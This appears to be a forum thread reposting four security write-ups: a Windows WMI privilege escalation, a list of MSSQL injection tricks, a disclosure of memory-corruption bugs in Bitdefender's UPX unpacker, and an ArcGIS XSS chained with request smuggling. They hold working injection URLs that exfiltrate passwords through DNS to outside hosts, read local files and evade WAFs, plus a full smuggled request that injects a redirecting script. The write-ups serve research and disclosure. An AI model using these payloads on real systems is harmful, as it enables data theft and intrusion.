CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' I expected to get arbitary code execution as NETWORK SERVICE in the context of the RpcEptMapper service at most but, it looks like I got a much better result than anticipated. I actually got arbitrary code execution in the context of the WMI service itself, which runs as LOCAL SYSTEM. How amazing is that?! Note: if I had got arbirary code execution as NETWORK SERVICE, I would have been just a token away from the LOCAL SYSTEM account thanks to the trick that was demonstrated by James Forshaw a few months ago in this blog post: Sharing a Logon Session a Little Too Much. I also tried to get each WMI class separately and I observed the exact same result. Get-WmiObject Win32_Perf Get-WmiObject Win32_PerfRawData Get-WmiObject Win32_PerfFormattedData Conclusion I don’t know how this vulnerability has gone unnoticed for so long. One explanation is that other tools probably looked for full write access in the registry, whereas AppendData/AddSubdirectory was actually enough in this case. Regarding the “misconfiguration” itself, I would assume that the registry key was set this way for a specific purpose, although I can’t think of a concrete scenario in which users would have any kind of permissions to modify a service’s configuration. I decided to write about this vulnerability publicly for two reasons. The first one is that I actually made it public - without initially realizing it - the day I updated my PrivescCheck script with the GetModfiableRegistryPath function, which was several months ago. The second one is that the impact is low. It requires local access and affects only old versions of Windows that are no longer supported (unless you have purchased the Extended Support…). At this point, if you are still using Windows 7 / Server 2008 R2 without isolating these machines properly in the network first, then preventing an attacker from getting SYSTEM privileges is probably the least of your worries. Apart from the anecdotal side of this privilege escalation vulnerability, I think that this “Perfomance” registry setting opens up really interesting opportunities for post exploitation, lateral movement and AV/EDR evasion. I already have a few particular scenarios in mind but I haven’t tested any of them yet. To be continued?… Links & Resources GitHub - PrivescCheck https://github.com/itm4n/PrivescCheck GitHub - PowerUp https://github.com/HarmJ0y/PowerUp Microsoft - “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree” https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree Microsoft - Creating the Application’s Performance Key https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key Sursa: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
-
Advanced MSSQL Injection Tricks Written by PT SWARM Team on November 12, 2020 PT SWARM Team ptswarm We compiled a list of several techniques for improved exploition of MSSQL injections. All the vectors have been tested on at least three of the latest versions of Microsoft SQL Server: 2019, 2017, 2016SP2. DNS Out-of-Band If confronted with a fully blind SQL injection with disabled stacked queries, it’s possible to attain DNS out-of-band (OOB) data exfiltration via the functions fn_xe_file_target_read_file, fn_get_audit_file, and fn_trace_gettable. fn_xe_file_target_read_file() example: https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)) Permissions: Requires VIEW SERVER STATE permission on the server. fn_get_audit_file() example: https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default))) Permissions: Requires the CONTROL SERVER permission. fn_trace_gettable() example: https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default)) Permissions: Requires the CONTROL SERVER permission. Alternative Error-Based vectors Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data. Some examples of such functions: SUSER_NAME() USER_NAME() PERMISSIONS() DB_NAME() FILE_NAME() TYPE_NAME() COL_NAME() Example use of function USER_NAME(): https://vuln.app/getItem?id=1'%2buser_name(@@version)-- Quick exploitation: Retrieve an entire table in one query There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it. The query to retrieve the schema, tables and columns from the current database: https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON. https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- Reading local files An example of retrieving a local file C:\Windows\win.ini using the function OpenRowset(): https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:\Windows\win.ini’,SINGLE_CLOB)+R(x)),null,null Error-based vector: https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission. Retrieving the current query The current SQL query being executed can be retrieved from access sys.dm_exec_requests and sys.dm_exec_sql_text: https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null Permissions: If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session. Little tricks for WAF bypasses Non-standard whitespace characters: %C2%85 или %C2%A0: https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- Scientific (0e) and hex (0x) notation for obfuscating UNION: https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- A period instead of a whitespace between FROM and a column name: https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- \N seperator between SELECT and a throwaway column: https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- Sursa: https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- 1 reply
-
- 1
-
-
November 10, 2020 Bitdefender: UPX Unpacking Featuring Ten Memory Corruptions This post breaks the two-year silence of this blog, showcasing a selection of memory corruption vulnerabilities in Bitdefender’s anti-virus engine. Introduction The goal of binary packing is to compress or obfuscate a binary, usually to save space/bandwidth or to evade malware analysis. A packed binary typically contains a compressed/obfuscated data payload. When the binary is executed, a loader decompresses this payload and then jumps to the actual entry point of the (inner) binary. Most anti-virus engines support binary unpacking at least for packers (such as UPX) that are very popular and that are also used by non-malware software. This blog post is about UPX unpacking of PE binaries in the Bitdefender core engine. The main steps in UPX unpacking of PE binary files are the following: Detect the loader from the entry point Find the compressed data payload and extract it Unfilter the extracted code Rebuild various structures (such as the import table, the relocation table, the export table, and the resources) The following vulnerabilities are presented in the control-flow order of the UPX unpacker. Disclaimer: In the following, decompiled code from Bitdefender’s core engine is presented. The naming of variables, fields, and macros is heavily inspired by the original UPX. For some snippets, a reference to the original function is added for comparison. It is likely that some types are incorrect. //1//: Stack Buffer Overflow in Pre-Extraction Deobfuscation After the UPX loader has been detected, the Bitdefender engine tries to detect whether the loader applies a specific kind of deobfuscation to the compressed data payload before extracting it. The (de)obfuscation is very simple, making only use of the three operations ADD, XOR, and ROTATE_LEFT. If this deobfuscation is detected, then the engine iterates through the corresponding instructions of the loader and parses them with their operands in order to be able to deobfuscate the data as well. This looks as follows: int32_t operation[16]; // on the stack int32_t operand[16]; // on the stack int i = 0; int pos = 0; do { bool op_XOR_or_ADD = false; if (loaderdata[pos] == 0x81u && (loaderdata[pos + 1] == 0x34 || loaderdata[pos + 1] == 0x4)) { operation[i] = (loaderdata[pos + 1] == 0x34) ? OP_XOR : OP_ADD; operand[i] = *(int32_t *)&loaderdata[pos + 3]; ++i; pos += 7; op_XOR_or_ADD = true; } } if (loaderdata[pos] == 0xC1u && loaderdata[pos + 1] == 4) { operation[i] = OP_ROTATE_LEFT; operand[i] = loaderdata[pos + 3]; ++i; pos += 4; if (i == 16) break; continue; } if (op_XOR_or_ADD) { if (i == 16) break; continue; } if (loaderdata[pos] == 0xE2u) { /* omitted: apply collected operations */ } pos += 2; } while (pos + SOME_SLACK < loaderdata_end); Observe how the bound-check on the index variable i is performed. As the buffer loaderdata is fully attacker-controlled, it is easy to verify that we can increase the index variable i by two before running into one of the checks i == 16. In particular, we can increase i from 15 to 17, after which we can overwrite the stack with completely arbitrary data. (10ec.12dc): Break instruction exception - code 80000003 (first chance) 00000000`0601fe42 cc int 3 The debug break is due to the stack canary which we have overwritten. If we continue, we see that the return fails because the stack is corrupted. 0:000> g (10ec.12dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 00000000`06006603 c3 ret 0:000> dd rsp 00000000`0014ed98 deadbeef deadbeef deadbeef deadbeef 00000000`0014eda8 deadbeef deadbeef deadbeef deadbeef //2//: Heap Buffer Overflow in Pre-Extraction Deobfuscation The collected operations (for the deobfuscation shown in //1//) are applied to the payload buffer at an attacker-controlled offset write_offset. Obviously, this offsets needs to be checked before writing to it. There are two checks on write_offset. The first is if (write_offset <= extractobj->dword10 + 3) and the second one is if (loaderdata[pos] == 0xE2u) { if (write_offset >= extractobj->dword10 - 3) Both checks test against the field dword10. The field dword10, sitting on the calling functions’s stack frame, is never initialized. This makes the bound check useless and introduces a fully attacker-controlled heap buffer overflow. //3//: Heap Buffer Overflow in Post-Extraction Deobfuscation After the extraction, the engine attempts to deobfuscate the extracted data with a static XOR key. for(int i=0; i<0x300; i++) { if (*(int32_t *)&entrypoint_data[i] == 0x4243484B) { int32_t j = i + 0x4A; uint8_t xor_key = entrypoint_data[j]; // attacker-controlled int32_t xor_len = *(int32_t *)&entrypoint_data[j - 7]; // attacker-controlled if (xor_len > packer->set_to_size_of_rawdata) return j; // <-- wrong bound check for(int32_t k=0; k<xor_len; k++) { packer->extracted_data[k] ^= xor_key; // <-- oob write } *info_string = "encrypted"; } } The bound check is completely wrong. It should check against the size of the extracted data buffer. Instead, it checks against a value that is previously set to the raw data size of the section we extracted the data from. Those two sizes have nothing to do with each other. In particular, one can be much smaller than the other, or vice-versa. As the function does not return after the first deobfuscation run, the memory corruption can be triggered up to 0x300 times in a row. This allows us to bypass the limitation that in a single deobfuscation run we always XOR with the same byte. We would simply XOR as follows: First run (i=0): XOR with B0 B0 B0 B0 B0 B0 B0 Second run (i=1): XOR with B1 B1 B1 B1 B1 Third run (i=2): XOR with B2 B2 Overall, we then have XORed with C0 C0 C1 C1 C1 C2 C2 for completely arbitrary C0, C1, and C2. We can essentially XOR with such a pattern of almost arbitrary length, and switch the byte at most 0x300 times. Needless to say, this vulnerability is a useful exploitation primitive as it enables very powerful memory corruptions: XORing allows us to modify selectively only certain parts of data, leaving other parts (for example heap metadata or critical objects) untouched. //4//: Heap Buffer Overflow in the Filters A filter is a simple transformation on binary code (say, x86-64 code) that is applied before compression, with the goal to make the code more compressible. After we have decompressed the data, we need to revert this filtering. Bitdefender supports about 15 different filters. Here is one of them (filter 0x11): int32_t bytes_to_filter = /* omitted. is guaranteed not to be oob. */; int i = 0; while (1) { do { if (--bytes_to_filter < 0) break; } while (extracted_data[i++] != 0xE8u); if (bytes_to_filter < 0) break; *(int32_t *)&extracted_data[i] -= i; // <-- oob write i += 4; } The problem is that bytes_to_filter is only updated when i is incremented by one, but not when it is later incremented by four. Of the 15 filters, about 8 seem to be affected by such a heap buffer overflow. I treated them all together as one bug (after all, it is not unlikely that they share code). //5//: Heap Buffer Overflow when Rebuilding Imports The following memory corruption occurs in a loop of the function PeFile::rebuildImports (cf. PeFile::rebuildImports). It looks like this: this->im->iat = this->iatoffs; this->newiat = &extract_obj->extracted_data[this->iatoffs - (uint64_t)(uint32_t)pefile->rvamin]; while (*p) { if (*p == 1) { ilen = strlen(++p) + 1; if (this->inamespos) { if (ptr_diff(this->importednames,this->importednames_start) & 1) --this->importednames; memcpy(this->importednames + 2, p, ilen); // <-- memory corruption *this->newiat = ptr_diff(this->importednames,extract_obj->extracted_data - pefile->rvamin); this->importednames += ilen + 2; p += ilen; } else { //omitted, see below //5// } } else if (*p == 0xFFu) { p += 3; *this->newiat = ord_mask + *(uint16_t *)(p + 1); } else { // omitted } ++this->newiat; } The length ilen that is passed to memcpy is completely attacker-controlled and thus needs to be checked. Observe that the original UPX does a checked omemcpy at this place. //6//: Another Heap Buffer Overflow when Rebuilding Imports In the same loop of the function PeFile::rebuildImports (cf. PeFile::rebuildImports), there is another memory corruption: this->im->iat = this->iatoffs; this->newiat = &extract_obj->extracted_data[this->iatoffs - (uint64_t)(uint32_t)pefile->rvamin]; while (*p) { if (*p == 1) { ilen = strlen(++p) + 1; if (this->inamespos) { //omitted, see above //5// } else { extracted_data = extract_obj->extracted_data; dst_ptr = (extracted_data - pefile->rvamin) + (*this->newiat + 2); if (dst_ptr < extracted_data) return 0; extracted_data_end = &extracted_data[extract_obj->extractbuffer_bytes_written]; if (dst_ptr > extracted_data_end || &dst_ptr[ilen + 1] > extracted_data_end) return 0; strcpy(dst_ptr,p); // <-- memory corruption p += ilen; } } else if (*p == 0xFFu) { p += 3; *this->newiat = ord_mask + *(uint16_t *)(p + 1); } else { // omitted } ++this->newiat; } The problem is that the strings dst_ptr and p can overlap, so we overwrite the string that we called strlen() on earlier. This can turn a terminating null-byte into a non-null byte and when strcpy() is called, the string is longer than expected, overflowing the buffer. A possible fix is to replace the strcpy(dst_ptr,p) with memmove(dst_ptr,p,ilen). It looks like original UPX is affected as well. The two commits 14992260 and 1faaba8f are an attempt to fix the problem in the devel branch of UPX. //7//: Heap Buffer Overflow when Unoptimizing the Relocation Table Another memory corruption is in the function Packer::unoptimizeReloc (cf. Packer::unoptimizeReloc😞 for (uint8_t * p = *in; *p; p++, relocn++) { if (*p >= 0xF0u) { if (*p == 0xF0u && !*(uint16_t *)(p + 1)) { p += 4; } p += 2; } } uint32_t * outp = (uint32_t *)malloc(4*relocn + 4); if (!outp) return -1; uint32_t * relocs = outp; int32_t jc = -4; for (uint8_t * p = *in; *p; p++) { if (*p >= 0xF0u) { uint32_t dif = *(uint16_t *)(p + 1) + ((*p & 0xF) * 0x10000); p += 2; if (dif == 0) { dif = *(int32_t *)(p + 1); p += 4; } jc += dif; } else { jc += *p; } *relocs = jc; // <-- oob write ++relocs; if (!packer->extracted_data) return -1; if (bits == 32) { if (jc > packer->extractbuffer_bytes_written - 4) return -1; uint32_t tmp = *(uint32_t*)&extracted_data[jc]; packer->extracted_data[jc + 0] = (uint8_t)(tmp >> 24); packer->extracted_data[jc + 1] = (uint8_t)(tmp >> 16); packer->extracted_data[jc + 2] = (uint8_t)(tmp >> 8); packer->extracted_data[jc + 3] = (uint8_t)tmp; } else { // omitted } } Ignoring the if-branch if (bits == 32), this looks fine. The very first loop runs through the table until a null byte is encountered and relocn counts how many entries there are. Then, a buffer of size 4 * relocn + 4 is allocated, and we run through the table a second time. The problem is that in the branch if (bits == 32), the endianness of a 4-byte value is swapped, and since the offset jc can point to the position where the null byte was, this can turn a null byte into a non-null byte. If that happens, it is easy to see that in the second loop, the variable p is increased further than in the first loop, and thus the allocated buffer is too small. The write *reloc = jc is then eventually out of bounds. It looks like the original UPX is affected as well. Commit e03310fc is an attempt to fix the bug in the devel branch of UPX. //8//: Heap Buffer Overflow when Finishing Building the Relocation Table The next memory corruption is to be found in the function PeFile::reloc::finish (cf. PeFile::reloc::finish😞 *(uint32_t *)&start[4 * counts[0] + 1024] = this->endmarker; qsort(start + 1024, ++counts[0], 4i64, le32_compare); rel = (reloc *)start; rel1 = (uint16_t *)start; for (ic = 0 ; ic < counts[0]; ++ic) { unsigned pos = *(int32_t *)&start[4 * ic + 1024]; if ((pos ^ this->prev) >= 0x10000) { rel1 = rel1; this->prev = pos; *rel1 = 0; rel->size = ALIGN_UP(ptr_diff(rel1,rel), 4); //rel1 increased by up to 3 bytes next_rel = (reloc *)((char *)rel + rel->size); rel = next_rel; rel1 = (uint16_t *)&next_rel[1];// rel1 increased by sizeof(reloc)==8 bytes next_rel->pagestart = (pos >> 4) & ~0xFFF; } *rel1 = ((int16_t)pos << 12) + ((pos >> 4) & 0xFFF); // <-- oob write ++rel1; } It seems that without the inner if-branch, the bound check ic < counts[0] would be fine, since it is then guaranteed that rel1 is before the position that the index 4*ic+1024 represents. However, if we go into the if-branch, rel1 is increased faster than one would expect. On top of the 2-byte increase at the end of every loop iteration, the if-branch may increase rel1 by 3 bytes (due to the ALIGN_UP(_,4)) and by another sizeof(reloc) == 8 bytes. It seems like the original UPX is affected as well. Looking at the original code, we see that rel and rel1 are advanced in a call to the function PeFile::reloc::newRelocPos which was inlined in the above (decompiled) code snippet. Interestingly, it is this inlining that makes the bug easy to spot. The UPX developers have been notified about this on September 20, but no patch is available yet. //9//: Heap Buffer Overflow when Building the Export Table It looks like the engine is not really fully reconstructing the export table, but only doing some basic virtual address adjustments (compare to the original PeFile::Export::build😞 uint32_t num_entries = export_dir_buffer[6]; // attacker-controlled uint32_t va_dif = export_dir_virtualaddress - outer_export_dir_virtualaddress; uint32_t table_base_offset = export_dir_buffer[8] - outer_export_dir_virtualaddress; export_dir_buffer[3] += va_dif; export_dir_buffer[7] += va_dif; export_dir_buffer[8] += va_dif; export_dir_buffer[9] += va_dif; for(uint32_t i=0; i<num_entries; i++) { if ((table_base_offset + 4*i > export_dir_buffer_size) || (table_base_offset + 4*i < export_dir_buffer_size)) // <-- what? goto LABEL_ERROR; *(uint32_t*)((uint8_t*)export_dir_buffer + table_base_offset + 4*i) += va_dif; // <-- oob write } The bound check on table_base_offset + 4*i looks very suspicious. It is probably a typing error. Even ignoring memory safety, it is unlikely that this comes close to implementing the desired functionality: the loop can execute at most one iteration, and in this one iteration we have table_base_offset + 4*i == export_dir_buffer_size, which is guaranteed to cause a memory corruption (an attacker-controlled 4-byte integer is written out of bound). The fixed check looks as follows. if ((table_base_offset + 4*i >= export_dir_buffer_size) || (table_base_offset + 4*i + 3 >= export_dir_buffer_size)) goto LABEL_ERROR; It is likely that this bug was introduced due the original check being added via a bound checking macro of UPX in a wrong way. //10//: Heap Buffer Overflow when Rebuilding Resources Finally, there is a memory corruption at the very end of PeFile::rebuildResource (cf. PeFile::rebuildResource), where the constructed resources are written back: if (!*(int32_t *)(&extracted_data[*((int32_t *)pefile->extracted_ntheader + 34) - pefile->rvamin + 12])) { result = memcpy(&extracted_data[*((uint32_t*)pefile->extracted_ntheader + 34) - (uint64_t)(uint32_t)pefile->rvamin], p, res.dirsize()); } There is no bound check on res.dirsize(). Note that the original UPX-code has a checked omemcpy. Conclusion Virtually all main steps of Bitdefender’s UPX unpacker were affected by a critical memory corruption vulnerability. Interestingly, the actual decompression is perhaps the only step that seems to be unaffected. This is because the engine is extracting into a dynamically-sized buffer (similar to an std::vector) via an API that does not even allow memory corruptions (the only operations used are append_byte(b) and append_bytes(buf,len)). In almost half of the presented cases, the critical bound check was simply missing. In most the other cases, the bound check was obviously wrong. Perhaps the only memory corruptions that are not completely obvious are //6// and //7//, as they are caused by unexpected overlaps. It seems that //6//, //7//, and //8// have been inherited from the original UPX code. The UPX developers have been notified about this and are in the process of fixing the bugs. Since the original UPX is clearly not made to unpack untrusted binaries (such as malware) and does not run at a high level of privileges, these bugs are not that critical there. However, in the context of an anti-virus engine these bugs become dangerous vulnerabilities. Bitdefender’s engine is running unsandboxed as NT\AUTHORITY SYSTEM and is scanning untrusted files fully automatically, making it an attractive target for remote code execution exploits. An actual exploit would have to bypass ASLR and DEP (and possibly the stack canary). The previous exploit on F-Secure Anti-Virus shows that this is not that difficult, even in a non-scriptable environment. The outlined vulnerabilities are part of Bitdefender’s core engine that is not only used by many of their own anti-virus products on various operating systems (macOS, Linux, FreeBSD, Windows), but is also licensed to numerous other anti-virus vendors. Vulnerabilities in the core engine are therefore immediately affecting numerous users and devices. Do you have any comments, feedback, doubts, or complaints? I would love to hear them. You can find my e-mail address on the about page. Timeline of Disclosure The following timeline looks somewhat scrambled, because the bugs were not discovered in the natural control-flow order that is used for the presentation in this blog post. 2020-07-03 - Discovery of //5// 2020-07-08 - //5// has been patched (the Bitdefender team found the bug before I could report it) 2020-07-15 - Discovery and report of //7// 2020-07-16 - Discovery and report of //9// 2020-07-20 - Bitdefender rolls out patches for //7// and //9// 2020-07-28 - Bitdefender reserved CVE-2020-15729 for //7// 2020-08-09 - Discovery and report of //4// 2020-08-09 - Discovery and report of //6// 2020-08-09 - Discovery and report of //8// 2020-08-12 - Bitdefender has rolled out patches for //4//, //6//, and //8// 2020-08-14 - Bitdefender communicates that they are “planning to stop allocating CVEs automatically for each and every single vuln[erability]” (emphasis in original). 2020-08-15 - Discovery and report of //3// 2020-08-16 - Discovery and report of //1// 2020-08-17 - Bitdefender rolls out patches for //1// and //3// 2020-08-30 - Discovery and report of //10// 2020-09-02 - Bitdefender rolls out patch for //10// 2020-09-04 - The patch for //8// is incomplete, even the same file can be used to trigger a crash. Asking for a full patch. Response: “that particular issue will be fixed via update probably on Monday, next week”. 2020-09-07 - Bitdefender rolls out second patch for //8// 2020-09-07 - The patch for //3// is incomplete, asking for a complete patch for //3// 2020-09-08 - Bitdefender: “Can you give us more details regarding this bug [//3//]? Can you still reproduce this vulnerability?” I describe the problem again and send a new file triggering the bug (since the original one did not trigger it anymore) 2020-09-08 - The second patch for //8// is still incomplete. Submitting a new file to trigger the bug 2020-09-10 - Bitdefender rolls out second patch for //3// and third patch for //8// 2020-09-17 - Discovery and report of //2// (without a PoC file) 2020-09-20 - Reached out to UPX developers, describing //6//, //7//, and //8// 2020-09-21 - Bitdefender rolls out first patch for //2// 2020-09-30 - The third patch for //3// is still incomplete. Submitting a new file to trigger the bug 2020-09-30 - The first patch for //2// is still incomplete. Submitting a more detailed problem description 2020-09-30 - Bitdefender rolls out second patch for //2// 2020-10-05 - Bitdefender rolls out fourth patch for //3// 2020-10-31 - The second patch for //2// checks against an initialized value, but introduces an integer underflow (causing a fully attacker-controlled heap buffer overflow). Submitting a file to trigger the new bug 2020-11-02 - Bitdefender rolls out third patch for //2// Bug bounties were paid for all submissions (including follow-up submissions pointing out incomplete patches). Thanks & Acknowledgements I want to thank the Bitdefender team for fixing all reported bugs. In addition, I want to thank Alex Balan, Octavian Guzu, and Marius Gherghinoiu for providing me with regular status updates. Sursa: https://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/
-
Smuggling an (Un)exploitable XSSPermalink This is the story about how I’ve chained a seemingly uninteresting request smuggling vulnerability with an even more uninteresting header-based XSS to redirect network-internal web site users without any user interaction to arbitrary pages. This post also introduces a 0day in ArcGis Enterprise Server. However, this post is not about how request smuggling works. If you’re new to this topic, have a look at the amazing research published by James Kettle, who goes into detail about the concepts. Smuggling Requests for Different Response LengthsPermalink So what I usually do when having a look at a single application is trying to identify endpoints that are likely to be proxied across the infrastructure - endpoints that are commonly proxied are for example API endpoints since those are usually infrastructurally separated from any front-end stuff. While hunting on a private HackerOne program, I’ve found an asset exposing an API endpoint that was actually vulnerable to a CL.TE-based request smuggling by using a payload like the following: POST /redacted HTTP/1.1 Content-Type: application/json Content-Length: 132 Host: redacted.com Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Foo: bar Transfer-Encoding: chunked 4d {"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"} 0 GET / HTTP/1.1 Host: redacted.com X: X As you can see here, I’m smuggling a simple GET request against the root path of the webserver on the same vhost. So in theory, if the request is successfully smuggled, we’d see the root page as a response instead of the originally queried API endpoint. To verify that, I’ve spun up a TurboIntruder instance using a configuration that issues the payload a hundred times: While TuroboIntruder was running, I’ve manually refreshed the page a couple of times to trigger (simulate) the vulnerability. Interestingly, the attack seemed to work quite well, since there were actually two different response sizes, whereof one was returning the original response of the API: And the other returned the start page: This confirms the request smuggling vulnerability against myself. Pretty cool so far, but self-exploitation isn’t that much fun. Poisoning Links Through ArcGis’ X-Forwarded-Url-Base HeaderPermalink To extend my attack surface for the smuggling issue, I’ve noticed that the same server was also running an instance of the ArcGis Enterprise Server under another directory. So I’ve reviewed its source code for vulnerabilities that I could use to improve the request smuggling vulnerability. I’ve stumbled upon an interesting constellation affecting its generic error handling: The ArcGIS error handler accepts a customized HTTP header called X-Forwarded-Url-Base that is used for the base of all links on the error page, but only if it is combined with another customized HTTP header called X-Forwarded-Request-Context. The value supplied to X-Forwarded-Request-Context doesn’t really matter as long as it is set. So a minified request to exploit this issue against the ArcGis’ /rest/directories route looks like the following: GET /rest/directories HTTP/1.1 Host: redacted.com X-Forwarded-Url-Base: https://www.rce.wf/cat.html? X-Forwarded-Request-Context: HackerOne This simply poisons all links on the error page with a reference to my server at https://www.rce.wf/cat.html? (note the appended ? which is used to get rid off the automatically appended URL string /rest/services😞 While this already looks like a good candidate to be chained with the smuggling, it still requires user interaction by having the user (victim) to click on any link on the error page. However, I was actually looking for something that does not require any user interaction. A Seemingly Unexploitable ArcGis XSSPermalink You’ve probably guessed it already. The very same header combination as previously shown is also vulnerable to a reflected XSS. Using a payload like the following for the X-Forwarded-Url-Base: X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>alert(1)</script> X-Forwarded-Request-Context: HackerOne leads to an alert being injected into the error page: Now, a header-based XSS is usually not exploitable on its own, but it becomes easily exploitable when chained with a request smuggling vulnerability because the attacker is able to fully control the request. While popping alert boxes on victims that are visiting the vulnerable server is funny, I was looking for a way to maximize my impact to claim a critical bounty. The solution: redirection. If you’d now use a payload like the following: X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script> X-Forwarded-Request-Context: HackerOne …you’d now be able to redirect users. Connecting the DotsPermalink The full exploit looked like the following: POST /redacted HTTP/1.1 Content-Type: application/json Content-Length: 278 Host: redacted.com Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Foo: bar Transfer-Encoding: chunked 4d {"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"} 0 GET /redacted/rest/directories HTTP/1.1 Host: redacted.com X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script> X-Forwarded-Request-Context: HackerOne X: X While executing this attack at around 1000 requests per second, I was able to actually see some interesting hits on my server: After doing some lookups I was able to confirm that those hits were indeed originating from the program’s internal network. Mission Completed. Thanks for the nice critical bounty Sursa: https://www.rcesecurity.com/2020/11/Smuggling-an-un-exploitable-xss/
-
- 1
-